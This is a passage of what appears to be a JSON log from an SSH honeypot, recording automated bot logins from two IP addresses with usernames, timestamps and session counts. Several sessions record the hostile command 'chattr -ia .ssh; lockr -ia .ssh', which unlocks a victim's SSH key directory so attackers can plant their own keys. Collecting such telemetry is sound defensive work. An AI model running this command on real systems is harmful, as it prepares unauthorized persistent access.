  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:06:13.784878+00:00",
  "ended_at": "2026-08-26T14:06:14.718948+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2489171e-e757-466b-9b39-4c81f7353a5f",
  "name": "wooded-brisk-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56130,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:05:33.591848+00:00",
  "ended_at": "2026-08-26T14:05:35.149922+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2206
 },
 {
  "id": "10af6320-60f0-4525-a6eb-41a3a0db32f8",
  "name": "jaunty-lanky-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56382,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:05:06.279074+00:00",
  "ended_at": "2026-08-26T14:05:07.802007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03576323-faa4-493f-96a7-66e9432ae525",
  "name": "tawny-breezy-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56380,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:05:04.357311+00:00",
  "ended_at": "2026-08-26T14:05:05.718512+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f3d1d3c-f051-44e5-b47e-b55406fe1d31",
  "name": "dapper-barren-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40683,
  "username": "pixel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:03:29.804588+00:00",
  "ended_at": "2026-08-26T14:03:30.806226+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2140
 },
 {
  "id": "e2b4b756-6462-49fb-ae83-fbcb35286ae4",
  "name": "honest-icy-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52380,
  "username": "ehsan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:03:29.803087+00:00",
  "ended_at": "2026-08-26T14:03:30.720604+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2184
 },
 {
  "id": "9695177d-5c53-468a-8c9b-de9dac64ff8c",
  "name": "keen-stoic-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52394,
  "username": "ehsan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:03:07.555709+00:00",
  "ended_at": "2026-08-26T14:03:08.857895+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23b91b44-6591-4fe9-9a5a-85673528c6bf",
  "name": "bitter-wiry-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40685,
  "username": "pixel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:03:06.926203+00:00",
  "ended_at": "2026-08-26T14:03:08.875271+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81c3f661-24dd-42a7-a45d-3ba38cea55ad",
  "name": "golden-rustic-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52386,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:03:05.649794+00:00",
  "ended_at": "2026-08-26T14:03:06.977166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "065102fb-0d8d-4d9e-88a6-f1e2e52c16fe",
  "name": "fearless-sullen-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40684,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:03:03.612611+00:00",
  "ended_at": "2026-08-26T14:03:05.415105+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b420018-126a-46e8-b24f-51c87043de91",
  "name": "autumn-amiable-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62728,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:01:35.432864+00:00",
  "ended_at": "2026-08-26T14:01:36.957850+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2227
 },
 {
  "id": "bea36b4a-57e6-4e59-b628-0e4c09445dc8",
  "name": "stoic-supple-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62750,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:01:10.920968+00:00",
  "ended_at": "2026-08-26T14:01:11.906007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "148c257a-a028-4f55-87fc-876029cf85ec",
  "name": "spirited-hardy-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62742,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:01:08.993865+00:00",
  "ended_at": "2026-08-26T14:01:10.329156+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "30db74f5-79a5-4ca9-a2a4-22cd2d389aa2",
  "name": "nautical-emerald-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40680,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:00:51.104083+00:00",
  "ended_at": "2026-08-26T14:00:52.317010+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "89dee331-a6a4-4cac-9932-47dbc0806f2e",
  "name": "vernal-blunt-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40682,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:00:28.054302+00:00",
  "ended_at": "2026-08-26T14:00:29.165691+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "736e19ee-0896-4795-8133-b6659e811250",
  "name": "weathered-steady-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40681,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:00:24.975077+00:00",
  "ended_at": "2026-08-26T14:00:26.539355+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "acb09280-b396-499c-8df8-a623268ec32b",
  "name": "sandy-jagged-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 53744,
  "username": "ruslan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:59:43.689658+00:00",
  "ended_at": "2026-08-26T13:59:45.110991+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2171
 },
 {
  "id": "a17d1c87-89d9-4f27-b3f3-7e68d6da9e48",
  "name": "gnarled-misty-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53772,
  "username": "ruslan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:59:18.171063+00:00",
  "ended_at": "2026-08-26T13:59:19.345755+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b49ae54-af55-428a-a7d5-b08513db2bc1",
  "name": "cunning-nimble-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53760,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:59:16.223889+00:00",
  "ended_at": "2026-08-26T13:59:17.571301+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70a47b81-29fd-4cf0-afd5-77c5a5922328",
  "name": "kindly-polar-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40677,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:58:04.013595+00:00",
  "ended_at": "2026-08-26T13:58:05.224226+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2120
 },
 {
  "id": "97d0f088-0d75-4a5c-857f-e2f1d644ec94",
  "name": "glassy-twilight-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 63832,
  "username": "faisal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:57:47.237455+00:00",
  "ended_at": "2026-08-26T13:57:48.592237+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2154
 },
 {
  "id": "fa5d6697-e519-4133-8b0c-07c266b80b97",
  "name": "ruddy-jaunty-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40679,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:41.677194+00:00",
  "ended_at": "2026-08-26T13:57:42.651049+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4be47cb-f2fb-4eb4-9a55-681ac9d4f630",
  "name": "hazy-amiable-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40678,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:38.977232+00:00",
  "ended_at": "2026-08-26T13:57:40.180776+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b21444ef-653a-4225-8aa4-0f917f9dc533",
  "name": "noble-cheerful-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 63852,
  "username": "faisal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:21.228079+00:00",
  "ended_at": "2026-08-26T13:57:22.721288+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "853d2de0-7b04-4d3d-aaba-29d8dabad760",
  "name": "restless-thorny-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 63840,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:19.017152+00:00",
  "ended_at": "2026-08-26T13:57:20.624449+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59302a61-2612-4208-880c-57bc9e169e91",
  "name": "windswept-airy-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56754,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:55:48.892489+00:00",
  "ended_at": "2026-08-26T13:55:50.492556+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "26f2a77d-6806-41d5-88e4-f9344e2d32b9",
  "name": "obsidian-fabled-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56760,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:55:21.718133+00:00",
  "ended_at": "2026-08-26T13:55:23.332424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "26b5bcfd-4c16-4672-a6f5-cb8f22b7cf25",
  "name": "hazy-sunlit-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56756,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:55:19.934725+00:00",
  "ended_at": "2026-08-26T13:55:21.122104+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9d6f7ec-ae53-46c3-ae66-55da39cd2361",
  "name": "merry-noble-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40674,
  "username": "tu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:55:14.798951+00:00",
  "ended_at": "2026-08-26T13:55:16.062830+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2096
 },
 {
  "id": "1f8b0e84-fcd1-40ee-8532-e1b6b13568ae",
  "name": "sullen-nautical-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40676,
  "username": "tu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:54:54.026832+00:00",
  "ended_at": "2026-08-26T13:54:54.964263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf1587b1-6ace-4aeb-a4be-a81accf19873",
  "name": "mellow-murky-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40675,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:54:50.790697+00:00",
  "ended_at": "2026-08-26T13:54:52.523249+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "afed491f-443a-4678-b2db-1fd6102a464b",
  "name": "sandy-graceful-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52216,
  "username": "teamspeak",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:53:45.342766+00:00",
  "ended_at": "2026-08-26T13:53:46.697851+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2143
 },
 {
  "id": "7b2048a3-49c9-4762-a376-df17f560623a",
  "name": "tranquil-dusky-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52230,
  "username": "teamspeak",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:53:21.248295+00:00",
  "ended_at": "2026-08-26T13:53:22.860525+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83982bfe-838e-494b-b9ba-ff8f6743bcf0",
  "name": "buoyant-nautical-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52224,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:53:19.682900+00:00",
  "ended_at": "2026-08-26T13:53:20.699949+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "215ced8a-5754-4c1e-aa4e-f93dfd2d660b",
  "name": "frugal-supple-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40609,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 757,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:52:26.025846+00:00",
  "ended_at": "2026-08-26T13:52:27.685370+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2109
 },
 {
  "id": "7569605e-2a35-4a98-bb95-eb682bbb282a",
  "name": "scarlet-weathered-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40611,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:52:04.407947+00:00",
  "ended_at": "2026-08-26T13:52:05.741560+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "846bd31a-a28e-4de1-906c-48a1afec9f39",
  "name": "gnarled-gentle-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40610,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:52:00.943098+00:00",
  "ended_at": "2026-08-26T13:52:02.909054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1acaed3f-f46f-4bc5-bb50-d204692265c4",
  "name": "solemn-sandy-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 53458,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:51:45.885664+00:00",
  "ended_at": "2026-08-26T13:51:47.363054+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2115
 },
 {
  "id": "7173fa52-0fd5-46e0-ba12-6fad9c61e341",
  "name": "patient-airy-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53464,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:51:20.819612+00:00",
  "ended_at": "2026-08-26T13:51:22.461320+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b1793ad-bbd1-4373-974f-7a9ce7c813a2",
  "name": "hidden-tidal-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53460,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:51:18.805578+00:00",
  "ended_at": "2026-08-26T13:51:20.259682+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e24c3f8-99c5-4d18-b095-14b6b033502d",
  "name": "pleasant-tranquil-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60196,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:49:41.900181+00:00",
  "ended_at": "2026-08-26T13:49:43.221617+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "0af7d103-2e98-4bdb-876a-147ebe8b9ad0",
  "name": "honest-thrifty-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40606,
  "username": "promo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 753,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:49:39.315397+00:00",
  "ended_at": "2026-08-26T13:49:40.995564+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2085
 },
 {
  "id": "e4316dea-2fa3-480e-8f81-b8e43823b127",
  "name": "icy-seaward-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60212,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:49:16.475061+00:00",
  "ended_at": "2026-08-26T13:49:17.781965+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0008d69-3daa-41b3-81e3-cf0329c83e2e",
  "name": "ginger-whispering-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40608,
  "username": "promo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:49:16.311970+00:00",
  "ended_at": "2026-08-26T13:49:18.449908+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de96bcc7-318b-49ca-a1ed-52230b71324c",
  "name": "curious-salty-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60200,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:49:14.650406+00:00",
  "ended_at": "2026-08-26T13:49:15.874491+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "acafe76b-2fdf-46f8-b8b7-ee885a5f0dce",
  "name": "sooty-ruddy-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40607,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:49:13.929675+00:00",
  "ended_at": "2026-08-26T13:49:14.812681+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf5b002b-cfcb-4b2e-a989-9c3178182dda",
  "name": "dutiful-sullen-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 58848,
  "username": "yangx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:47:47.223333+00:00",
  "ended_at": "2026-08-26T13:47:49.210270+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2094
 },
 {
  "id": "39030d49-2b8a-4bd4-8406-ba530c175953",
  "name": "gritty-faded-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56528,
  "username": "yangx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:47:25.338253+00:00",
  "ended_at": "2026-08-26T13:47:26.804998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "789f4485-21e2-4434-a67b-dd961853b80c",
  "name": "feathered-leafy-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56524,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:47:23.949081+00:00",
  "ended_at": "2026-08-26T13:47:24.771263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab16ca17-a9d5-4c27-9a60-3452b2bdc134",
  "name": "sterling-stoic-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40603,
  "username": "sftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
